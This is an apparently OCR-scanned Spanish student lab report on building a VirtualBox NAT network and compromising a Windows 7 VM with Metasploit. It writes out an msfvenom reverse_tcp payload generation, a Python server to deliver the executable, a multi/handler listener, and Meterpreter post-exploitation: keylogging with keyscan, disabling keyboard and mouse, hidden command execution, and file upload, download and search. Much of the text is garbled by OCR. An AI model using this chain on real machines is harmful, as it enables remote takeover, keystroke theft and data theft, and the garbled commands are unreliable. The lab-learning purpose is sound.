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creamos la red nat

Redes solo-anfitrién | Redes NAT | Redesenlanube |

T - Prefijo IPv4
kcp |::-E--::| ro

Prefijo IPvE

Servidor DHCP
192.168.10.0/24
virtual

Habilitado
10.0.2.0/24 Fd17:625c:F037:2:/64 Habilitado

Opciones generales | Beenvio de puertos

Mombre: | tcppedro

Prefijo IPv4: | 192.168.10.0/24




Adaptador 1 Adaptador 2 | Adaptador 3 Adaptador 4 |

Habilitar adaptador de red

Conectado a: |Red NAT - |

Mombre: | wvirtual

Tipo de adaptador: | Intel PRO/1000 MT Desktop (82540EM)

Modo promiscuo: | Denegar

Direccién MAC: |0800273C367E

Cable conectado




INSTALACION Y CONFIGURACION DE METASPLOIT
sudo systemctl start postgresq|

sudo systemctl enable postgresq|l
--use-defaults Accept all defaults and do not prompt for options during an init

Database Options:
5f-db-name NAME Database name (default: msf)
-db-user-name USER Database username (default: msf)

test-db-name NAME Test database name (default: msftest)
--msf-test-db-user-name USER TP‘T database username (default: msftest)
--db-port PORT )atabase porT (default: 5433)
--db-pool Yatabase ection pool size (default: 20¢
--connection-string URI se = ting database cluster for inmitialization
Example: --connection-string=postgresql://postares:mysecretpassword@local
host:5432/postgres

\DDRESS i to host address (default: localhost)
-p, --port PDPT eb se port (default: 5443)

——[no ]daemon ; on
Enable sSsL (default: true)
Path to private key (default: /home/pedro/.msf:
Path to certif e (default: [home/pedro/.ms 5

--[no-]ssl-disable-verify Disables (optional) client cert requests fdPTaulT true)

--environment ENV Web serv framework environment (default: production)

(production, development)
Maximum number of web serv connect attempts (default: 108)
Delay in secon tween web service connect attempts (default: 5.0)
Initial web serv admin username
Initial web serv admin password
-data-service NAME Local msfconsole data service connection name

Commands:
init initialize the component
reinit delete and reinitialize the component
delete ete and stop the component
status component status
start start the component
stop op the uomponpnf

Running the t
Database started

msfdb init
msfdb status

mstdb
msfdb status

Running the '"init' command for the database:
Existing database running




CREACION DEL MALWARE
msfvenom -p windows/meterpreter/reverse_tcp -a x86 -f exe LHOST=192.168.10.7
LPORT=4444 > reverse_tcp.exe

msf > msfvenom -p windows

stty: invalid argument '4500: c:7fi15:4:¢ 0:12:7:17:16:0:0:0:0:0:0:¢ 10:0: ¢
:0:0

python3 -m http.server 8000
:~5 python3 -m http.server
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8000/)

A

LISTENER EN METASPLOIT

use exploit/multi’/handler

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.10.7

set LPORT 4444

set ExitOnSession false

exploit -j

sessions -i 1

set LHOST 192.168.10.7

> set LPORT 4444
Lihh
ploit( ) » set ExitOnSession false
«itOnSession = false
) > exploit -j
kground job @.
ploit completed, but no session was created.
ploit( ) >
arted reverse TCP handler on 192.
Sending st (196678 bytes) to 192.
Meterpreter sion 1 opened (192.168.10.7:4444 — 102.168.10.6:49292) at 2026-04-23 17:07:30 -0400

DESCARGA DE MALWARE EN WIN7
comprobamos conectividad

.168.18.
from
from
from
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from 2.168.18.6: i _SE =128 time=8.37

— 152.168.10.6 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time
rtt min/avg/max/mdev = @. JO0.418/0.494,/0.047 ms




buscamos el servidor en el navegador y descargamos el malware

- |g, http://192.168.10.5:8000/ v| = |41| X | | b sing et

i Favorites | 9% @] Suggested Sites * @] Web Slice Gallery »

-

Qg
|DD

{& Internet Explorer cannot di... |@Director}flistingfor/ x|_| ﬁ A * [ @ ~ Page > Safety > Tools~ @v

-

Directory listing for /

+ _bash history
» * .bash logout
+ _bashrc

« _cache/

» _config/

» fontconfig/
+ profile .
+ vhoxclient-clipboard-ttv2-control.pid

+ vhoxclient-clipboard-ttv2-service pid

+ vboxclient-draganddrop-tiv2 -control pid

» vhoxclient-hostversion-ttv2-control.pid

» vhoxchent-seamless-ttv2-control pid

» vhoxchent-vmsvea-session-ttv2-control pid

» vhoxchent-vmsvoa-session-thv2-service nid S
Done € Internet | Protected Mode: On 43 - H10% -

e 2 C | mm|e o i 0

TEVE!




sysinfo

ipconfig
meterpreter
Computer RAUL-PC
05 : Windows 7 (6.1 Build 7601,
Architecture
System Language
Domain
Logged On Users
Meterpreter
meterpreter > ipconfig

Metric

IPv6 network routes

Subnet Metric
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enumdesktops

Station

WinSta®@

Name

Default

getprivs
keyscan_start
keyscan_dump
keyscan_stop

uictl disable keyboard
uictl disable mouse
uictl enable keyboard
uictl enable mouse



mouse

Microsoft Wind
Copyright (c)

exitwhoami
raul-

769 byEes
bytes libres

exit

execute -f cmd.exe -i

execute -f cmd.exe -i -t

execute -f cmd.exe -i -H -t

echo "prueba de envio de Linux a Windows" > kali.txt
upload kali.txt C:\Users\Raul\Desktop

download C:\Users\Raul\Desktop\windows.txt

search -f *.jpg

search -d C:\Windows\System32 -f *.exe

background



Conclusion

Aunque haya costado he conseguido hacerlo desde un kali linux creo que era porque habia
limitaciones en el ubuntu o simplemente que la red de la universidad bloqueaba el acceso
lo importante es que ya ha funcionado AJAJAJJA.



